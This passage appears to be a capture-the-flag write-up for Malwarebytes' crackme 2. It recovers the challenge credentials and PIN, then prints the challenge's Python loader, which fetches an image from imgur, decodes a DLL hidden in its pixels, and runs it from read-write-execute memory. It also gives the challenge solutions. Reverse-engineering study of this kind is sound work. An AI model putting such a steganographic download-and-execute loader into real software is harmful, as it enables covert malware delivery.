<div style="text-align: justify;">A quick <a href="https://hshrzd.wordpress.com/2018/01/26/solving-a-pyinstaller-compiled-crackme/">Internet search</a>  informs us that in a PYZ archive, the main file is in fact a *<b>.pyc file</b> (Python bytecode) from which the<b> first 8 bytes</b>, containing its signature, <b>have been removed</b>. Looking the hex dump of <b>another *.pyc </b>file of the archive confirms this statement and gives us the correct signature for Python 2.7 bytecode files (in purple).</div>
<div style="text-align: justify;"></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ hexdump -C another | head -n 3
00000000  <span style="color: red;"><b>63 00 00 00 00 00 00 00  00 03 00 00 00 40 00 00</b></span>  |c............@..|
00000010  00 73 03 02 00 00 64 00  00 5a 00 00 64 01 00 5a  |.s....d..Z..d..Z|
00000020  01 00 64 02 00 5a 02 00  64 03 00 64 04 00 6c 03  |..d..Z..d..d..l.|
$ hexdump -C out00-PYZ.pyz_extracted/cmd.pyc | head -n 3
00000000  <b><span style="color: purple;">03 f3 0d 0a 00 00 00 00</span></b>  <span style="color: red;"><b>63 00 00 00 00 00 00 00</b></span>  |.ó......c.......|
00000010  <span style="color: red;"><b>00 03 00 00 00 40 00 00</b></span>  00 73 4c 00 00 00 64 00  |.....@...sL...d.|
00000020  00 5a 00 00 64 01 00 64  02 00 6c 01 00 5a 01 00  |.Z..d..d..l..Z..|</pre>
</div>
<p>Restoring the file’s signature produces a correct Python bytecode file.</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ cat &lt;(printf "\x03\xf3\x0d\x0a\x00\x00\x00\x00") another &gt; another.pyc
$ file another.pyc
another.pyc: python 2.7 byte-compiled</pre>
</div>
</div>
<div style="text-align: justify;">
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Using the <a href="https://github.com/rocky/python-uncompyle6">uncompyle6</a>  decompilation tool, we can easily recover the original source code of <b>another.py</b>.</div>
<div style="text-align: justify;"></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ uncompyle6 another.pyc &gt; another.py</pre>
</div>
<div style="text-align: justify;"></div>
<h1 style="text-align: justify;">Stage 1: login</h1>
<div style="text-align: justify;">Looking at the <b>main()</b> function of <b>another.py</b>, we see that the first operations are performed by the <b>stage1_login()</b> function.</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def</span> <span style="color: magenta;">main</span>():
    key = <span style="color: red;">stage1_login</span>()
    <span style="color: blue;">if not</span> check_if_next(key):
        <span style="color: blue;">return</span>
    <span style="color: blue;">else</span>:
        content = decode_and_fetch_url(key)
        <span style="color: blue;">if </span>content <span style="color: blue;">is None</span>:
            <span style="color: blue;">print </span><span style="color: #666666;">'Could not fetch the content'</span>
            <span style="color: blue;">return </span>-<span style="color: red;">1</span>
        decdata = get_encoded_data(content)
        <span style="color: blue;">if not </span>is_valid_payl(decdata):
            <span style="color: blue;">return </span>-<span style="color: red;">3</span>
        <span style="color: blue;">print </span>colorama.Style.BRIGHT + colorama.Fore.CYAN
        <span style="color: blue;">print </span><span style="color: #666666;">'Level #2: Find the secret console...'</span>
        <span style="color: blue;">print </span>colorama.Style.RESET_ALL
        <span style="color: #6aa84f;">#load_level2(decdata, len(decdata))</span>
        dump_shellcode(decdata, len(decdata))
        user32_dll.MessageBoxA(<span style="color: blue;">None</span>, <span style="color: #666666;">'You did it, level up!'</span>, 'Congrats!', <span style="color: red;">0</span>)
        <span style="color: blue;">try</span>:
            <span style="color: blue;">if </span>decode_pasted() == <span style="color: blue;">True</span>:
                user32_dll.MessageBoxA(<span style="color: blue;">None</span>, <span style="color: #666666;">'''Congratulations! Now save your flag
and send it to Malwarebytes!'''</span>, <span style="color: #666666;">'You solved it!'</span>, <span style="color: red;">0</span>)
                <span style="color: blue;">return </span><span style="color: red;">0</span>
            user32_dll.MessageBoxA(<span style="color: blue;">None</span>, <span style="color: #666666;">'See you later!'</span>, <span style="color: #666666;">'Game over'</span>, <span style="color: red;">0</span>)
        <span style="color: blue;">except</span>:
            <span style="color: blue;">print </span>'Error decoding the flag'
        <span style="color: blue;">return</span></pre>
</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">stage1_login</span>():
    show_banner()
    <span style="color: blue;">print </span>colorama.Style.BRIGHT + colorama.Fore.CYAN
    <span style="color: blue;">print </span><span style="color: #666666;">'Level #1: log in to the system!'</span>
    <span style="color: blue;">print </span>colorama.Style.RESET_ALL
    login = raw_input('login: ')
    password = getpass.getpass()
    <span style="color: blue;">if not </span>(<span style="color: red;">check_login</span>(login) <span style="color: blue;">and </span><span style="color: red;">check_password</span>(password)):
        <span style="color: blue;">print </span><span style="color: #666666;">'Login failed. Wrong combination username/password'</span>
        <span style="color: blue;">return </span>None
    <span style="color: blue;">else</span>:
        PIN = raw_input('PIN: ')
        <span style="color: blue;">try</span>:
            key = <span style="color: red;">get_url_key</span>(int(PIN))
        <span style="color: blue;">except</span>:
            <span style="color: blue;">print </span><span style="color: #666666;">'Login failed. The PIN is incorrect'</span>
            <span style="color: blue;">return None</span>
        <span style="color: blue;">if not </span><span style="color: red;">check_key</span>(key):
            <span style="color: blue;">print </span><span style="color: #666666;">'Login failed. The PIN is incorrect'</span>
            <span style="color: blue;">return None</span>
        <span style="color: blue;">return </span>key</pre>
</div>
<p>Three user inputs are successively checked: the user’s <b>login</b>, <b>password </b>and <b>PIN </b>code.</p>
<h3>Finding the login</h3>
<div style="text-align: justify;">The check_login() function&rsquo;s code is completely transparent :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">check_login</span>(login):
    <span style="color: blue;">if </span>login == <span style="color: red;">'hackerman'</span>:
        <span style="color: blue;">return True</span>
    <span style="color: blue;">return False</span></pre>
</div>
<p>We have found the login, let&rsquo;s search for the password.</p>
<figure id="post-15599 media-15599" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15599 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8.jpg" alt="" width="320" height="180" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8-69x39.jpg 69w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Expected login</span></i></div>
<div class="separator" style="clear: both; text-align: left;"></div>
</div>
<h3>Finding the password</h3>
<p>The <b>check_password</b>() function hashes user’s input using the <b>MD5 </b>hash function, and compares the result with an hardcoded string:</p>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">check_password</span>(password):
    my_md5 = hashlib.md5(password).hexdigest()
    <span style="color: blue;">if </span>my_md5 == '42f749ade7f9e195bf475f37a44cafcb':
        <span style="color: blue;">return True</span>
    <span style="color: blue;">return False</span></pre>
</div>
<p>A quick Internet search of this string gives us the corresponding cleartext password: <b>Password123</b>.</p>
<figure id="post-15601 media-15601" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15601 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9.png" alt="" width="640" height="240" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-71x27.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Finding the password on a search engine</span></i></div>
<h3>Finding the PIN code</h3>
<p>The PIN code is read from standard input, converted into an<b> integer</b> (cf. stage1_login()<b> </b>function), and passed to the <b>get_url_key() </b>function:</p>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def</span> <span style="color: magenta;">get_url_key</span>(my_seed):
    random.seed(my_seed)
    key = ‘’
    <span style="color: blue;">for </span>I <span style="color: blue;">in </span>xrange(0, 32):
        id = random.randint(0, 9)
        key += str(id)
    <span style="color: blue;">return </span>key</pre>
</div>
<p>This function derives a<b> pseudo-random 32 digits</b> key from the PIN code, using it as a <b>seed </b>for Python’s PRNG. The generated key is then verified using the <b>check_key()</b> function, where its MD5 sum is checked against another hardcoded value.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">check_key</span>(key):
    my_md5 = hashlib.md5(key).hexdigest()
    <span style="color: blue;">if </span>my_md5 == '<span style="color: red;">fb4b322c518e9f6a52af906e32aee955</span>':
        <span style="color: blue;">return </span>True
    <span style="color: blue;">return </span>False</pre>
</div>
<p>The key space is obviously <b>too large to be brute-forced</b>, as a 32-digits string corresponds to 10^32 (~2^106) possible combinations. However, <b>we can brute-force the PIN</b> code, being an integer, using the following code:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">from </span>another <span style="color: blue;">import </span>get_url_key, check_key
PIN = 0
<span style="color: blue;">while True</span>:
    key = get_url_key(PIN)
    <span style="color: blue;">if </span>check_key(key):
        <span style="color: blue;">print </span>PIN
        <span style="color: blue;">break</span>
    PIN += 1</pre>
</div>
<p>The solution is obtained in a few milliseconds:</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ python bruteforcePIN.py
9667</pre>
</div>
<h3>Testing credentials</h3>
<p>Using the credentials found in the previous step completes the first stage of the challenge.</p>
<figure id="post-15603 media-15603" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15603 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10.png" alt="" width="400" height="148" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-71x26.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Validating stage 1</span></i></div>
<p>Clicking “Yes” makes the executable pause after printing the following message in the console:</p>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15605 media-15605" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15605 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11.png" alt="" width="320" height="96" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11-71x21.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Waiting for us to find a « secret console »</span></i></div>
<p>Let’s find that secret console!</p>
<h1>Stage 2: the secret console</h1>
<h3>Payload download and decoding</h3>
<p>Continuing our analysis of the main() function, the next function to be called after credentials verification is <b>decode_and_fetch_url()</b>, with the previously calculated 32-digits key given as argument:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">decode_and_fetch_url</span>(key):
    <span style="color: blue;">try</span>:
        encrypted_url = <span style="color: #444444;">'\xa6\xfa\x8fO\xba\x7f\x9d\[...]\xfe'</span>
        aes = AESCipher(bytearray(key))
        output = aes.decrypt(encrypted_url)
        full_url = output
        content = fetch_url(full_url)
    <span style="color: blue;">except</span>:
        <span style="color: blue;">return None</span>
    <span style="color: blue;">return </span>content</pre>
</div>
<p>A URL is decrypted using an <b>AES </b>cipher and the 32-digits key. The resource at this URL is then downloaded and its content returned by the function.<br />
To get the decrypted URL, we simply add some <b>logging</b> instructions to the original code of another.py, which can be run independently of mb_crackme_2.exe (given that the required dependencies are present on our machine).</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[...]
        full_url = output
        print "DEBUG : URL fetched is : %s " % full_url #added from original code
        content = fetch_url(full_url)
[...]</pre>
</div>
<p>The result execution is the following:</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>login: hackerman
Password:
PIN: 9667
<span style="color: red;">DEBUG : URL fetched is : https://i.imgur.com/dTHXed7.png</span></pre>
</div>
<p>The decrypted URL hosts the PNG image displayed bellow:</p>
<figure id="post-15607 media-15607" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15607 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12.png" alt="" width="267" height="267" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12.png 267w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-191x191.png 191w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-39x39.png 39w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-32x32.png 32w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-64x64.png 64w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-96x96.png 96w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-128x128.png 128w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-70x70.png 70w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-175x175.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-130x130.png 130w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-115x115.png 115w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-30x30.png 30w" sizes="auto, (max-width: 267px) 100vw, 267px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Image downloaded by the executable</span></i></div>
<p>The “malware” then reads the <b>Red, Green and Blue components of each of the image’s pixels</b>, interprets them as <b>bytes </b>and constructs a buffer from their concatenation.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">get_encoded_data</span>(bytes):
    imo = Image.open(io.BytesIO(bytes))
    rawdata = list(imo.getdata())
    tsdata <span style="color: blue;">= </span>''
    <span style="color: blue;">for </span>x <span style="color: blue;">in </span>rawdata:
        <span style="color: blue;">for </span>z <span style="color: blue;">in </span>x:
            tsdata += chr(z)
    <span style="color: blue;">del </span>rawdata
    <span style="color: blue;">return </span>tsdata</pre>
<pre></pre>
</div>
<p>This technique is sometimes used by real malware to download malicious code <b>without raising suspicion of traffic-analysis tools</b>, hiding the real nature of the downloaded resource.<br />
Using the “Extract data…” function of the <b>Stegsolve</b> tool  allows to quickly preview the data encoded in the image, which appears to be a PE file (and more specifically, a DLL):</p>
<figure id="post-15609 media-15609" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15609 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13.png" alt="" width="640" height="494" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-247x191.png 247w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-51x39.png 51w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-155x120.png 155w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Output of the stegsolve tool</span></i></div>
<p>The function <b>is_valid_payl()</b> is then used to check whether the decoded payload is correct:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">is_valid_payl</span>(content):
    <span style="color: blue;">if </span>get_word(content) != <span style="color: red;">23117</span>:
        <span style="color: blue;">return False</span>
    next_offset = get_dword(content[<span style="color: red;">60</span>:])
    next_hdr = content[next_offset:]
    <span style="color: blue;">if </span>get_dword(next_hdr) != <span style="color: red;">17744</span>:
        <span style="color: blue;">return False</span>
    <span style="color: blue;">return True</span></pre>
</div>
<p>The<b> 23117 and 17744</b> constants represent the “MZ” and “PE” magic bytes present in the headers of a PE.</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>&gt;&gt;&gt; import struct
&gt;&gt;&gt; struct.pack("&lt;H", 23117)
'MZ'
&gt;&gt;&gt; struct.pack("&lt;H", 17744)
'PE'</pre>
</div>
<p>The decoded file is then passed to the<b> load_level2()</b> function, which is a wrapper around <b>prepare_stage()</b>.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">load_level2</span>(rawbytes, bytesread):
    <span style="color: blue;">try</span>:
        <span style="color: blue;">if </span>prepare_stage(rawbytes, bytesread):
            <span style="color: blue;">return True</span>
    <span style="color: blue;">except</span>:
        <span style="color: blue;">return False</span></pre>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">prepare_stage</span>(content, content_size):
    virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
    <span style="color: blue;">if </span>virtual_buf == 0:
        <span style="color: blue;">return False</span>
    <span style="color: blue;">res </span>= memmove(virtual_buf, content, content_size)
    <span style="color: blue;">if </span>res == 0:
        <span style="color: blue;">return False</span>
    MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
    MR()
    <span style="color: blue;">return True</span></pre>
</div>
<p>This function starts by allocating enough space to store the downloaded code, using the VirtualAlloc API function call. The allocated space is <b>readable, writable and executable</b>, as the provided arguments reveal (12288 being equal to “MEM_COMMIT | MEM_RESERVE”, and 64 to PAGE_EXECUTE_READWRITE).<br />
The downloaded code is then written in the allocated space using the memmove function, and executed like a shellcode from offset 2.</p>
<p>To get a clean dump of the downloaded code (once decrypted), we <b>add a piece of code in the prepare_stage()</b> function, as follows:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">prepare_stage</span>(content, content_size):
    <span style="color: blue;">with </span>open("dumped_pe.dll", "wb") as f:
        f.write(content[:content_size])
        print "DEBUG : File dumped in dumped_pe.dll"
    virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
    <span style="color: blue;">if </span>virtual_buf == 0:
        return False
    res = memmove(virtual_buf, content, content_size)
    <span style="color: blue;">if </span>res == 0:
        <span style="color: blue;">return </span>False
    MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
    MR()
    <span style="color: blue;">return True</span></pre>
</div>
<p>After re-executing the program, we observe that the obtained file is indeed a valid 32 bits Windows DLL:</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ file dumped_pe.dll
dumped_file.ext: PE32 executable (DLL) (console) Intel 80386, for MS Windows</pre>
</div>
<p>Time for us to open our favorite disassembler !</p>
<h2>Downloaded DLL’s reverse-engineering</h2>
<p><b>Reflective loading</b><br />
From the offset 2 of the file, a little shellcode located in the DOS headers<b> transfers the execution</b> to another code that implements <b>Reflective DLL injection</b>. This technique is used to load the library itself from memory, instead of normally loading the DLL from disk using the LoadLibrary API call.<br />
&nbsp;</p>
<figure id="post-15611 media-15611" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15611 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14.png" alt="" width="640" height="118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-437x81.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-71x13.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Disassembly of the first bytes of the downloaded DLL</span></i></div>
<p>The reflective loader’s code, located at 0x6E0, is documented in Stephen Fewer’s GitHub  and will not be described in this write-up. Since, in the end, the library is loaded by this mechanism as it would be after a normal LoadLibrary call, this downloaded file will be analyzed like a standard DLL in the rest of this write-up.</p>
<p>The list of exported functions being empty (except for the DllEntryPoint function), we start our analysis at the <b>entry point of the DLL</b>.</p>
<figure id="post-15613 media-15613" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15613 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15.png" alt="" width="400" height="43" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-71x8.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Exports list</i></span></div>
<p><b>Entry point</b><br />
Our first goal is to search for the <b>DllMain()</b> function from the entry point. If the reverser is not used to analyzing Windows DLLs, a simple way to start would be to open any random non-stripped 32bit DLL, which (with a little luck) would be compiled with the same compiler (Visual C++ ~7.10 here), and which would have a similar CFG structure for the DllEntryPoint function.<br />
An example of CFG comparisons between the analyzed DLL (left) and another non-stripped 32bit DLL (right) is presented below:<br />
&nbsp;</p>
<figure id="post-15615 media-15615" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15615 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16.png" alt="" width="640" height="298" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-410x191.png 410w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-71x33.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /><i></i></figure>
<div style="text-align: center;"><i><span style="font-size: x-small;">DLLEntryPoints in our DLL v/s another non-stripped DLL</span></i></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<figure id="post-15617 media-15617" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15617 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17.png" alt="" width="640" height="451" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-55x39.png 55w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div style="text-align: center;"><i><span style="font-size: x-small;">DllMainCTRStartup in our DLL / in another non-stripped DLL</span></i></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>This technique allows us to quickly find the DllMain function in our DLL, here being located at 0x10001170.<br />
<b>DllMain (0x10001170)</b><br />
The function starts by checking if it has been called during the first load of the DLL by a process, by comparing the value of the fdwReason argument  against the DLL_PROCESS_ATTACH constant.<br />
The DllMain() function then <b>registers two exception handlers</b> using the AddVectoredExceptionHandler  API call. The handlers are named <b>“Handler_0” and “Handler_1”</b> in the screenshot below:</p>
<figure id="post-15619 media-15619" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15619 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18.png" alt="" width="640" height="453" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-270x191.png 270w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-55x39.png 55w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-345x245.png 345w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>DllMain function</i></span></div>
<p>An exception is then manually raised using the “int 3” interruption instruction, triggering the execution of Handler_0.<br />
<b>Interlude: debugging a DLL in IDA Pro</b><br />
To make the reverse-engineering of some functions easier, debugging the code to observe function inputs and outputs can be an effective method.<br />
One simple way to <b>debug a DLL inside IDA </b>is to load the file as usual, then go to “Debugger -&gt;Process options&#8230;” and modify the following value:</p>
<ul>
<li>Application:
<ul>
<li> On a 64 bits version of Windows:
<ul>
<li>  “C:\Windows\SysWOW64\rundll32.exe” to debug a 32 bits library</li>
<li>  “C:\Windows\System32\rundll32.exe” to debug a 64 bits library</li>
</ul>
</li>
<li> On a 32 bits version of Windows:
<ul>
<li>  “C:\Windows\System32\rundll32.exe” to debug a 32 bits library</li>
<li>  Obviously, you cannot run (therefore debug) a 64 bits library on a 32 bits version of Windows</li>
</ul>
</li>
</ul>
</li>
<li> Parameters:
<ul>
<li>  “PATH_OF_YOUR_DLL”,functionToCall [function parameters if any]</li>
</ul>
</li>
</ul>
<p>Note: The file extension <b>must be “*.dll” </b>for rundll32.exe to accept it.</p>
<figure id="post-15621 media-15621" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15621 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I19.png" alt="" width="320" height="179" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I19.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I19-71x39.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>IDA « Process options&#8230; » menu</i></span></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>To test the configuration, just place a <b>breakpoint </b>at the entry point of the DLL:</p>
<figure id="post-15623 media-15623" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15623 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20.png" alt="" width="640" height="353" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20-346x191.png 346w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20-71x39.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Placing a breakpoint on the entry point</i></span></div>
<p>Run your debugger (F9). If configured correctly, your debugger should break at the DLL entry point, allowing you to debug any DLL function</p>
<p><b>Handler_0 (0x10001260)</b><br />
Looking at Handler_0’s CFG (given below), we see that the function calls <b>two unknown functions </b>(0x100092C0 and 0x1000E61D). To quickly identify these functions, let’s debug the DLL, and look at the functions inputs/outputs:</p>
<p><u>sub_100092C0</u></p>
<figure id="post-15625 media-15625" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15625 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I21.png" alt="" width="178" height="91" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I21.png 178w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I21-71x36.png 71w" sizes="auto, (max-width: 178px) 100vw, 178px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Function sub_100092C0() call</span></i></div>
<p>The function seems to take 3 arguments:</p>
<ul>
<li>A buffer (here named “Value”);</li>
<li>A value (here 0);</li>
<li>The size of the buffer (here 0x104).</li>
</ul>
<p>Let&rsquo;s look at the buffer’s content <b>before and after the function call</b>:</p>
<figure id="post-15627 media-15627" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15627 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I22.png" alt="" width="320" height="134" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I22.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I22-71x30.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>« Value » buffer before and after the call</i></span></div>
<p>The function prototype and its side effects correspond to the <b>memset </b>function.<u><br />
</u><br />
<u>sub_1000E61D</u></p>
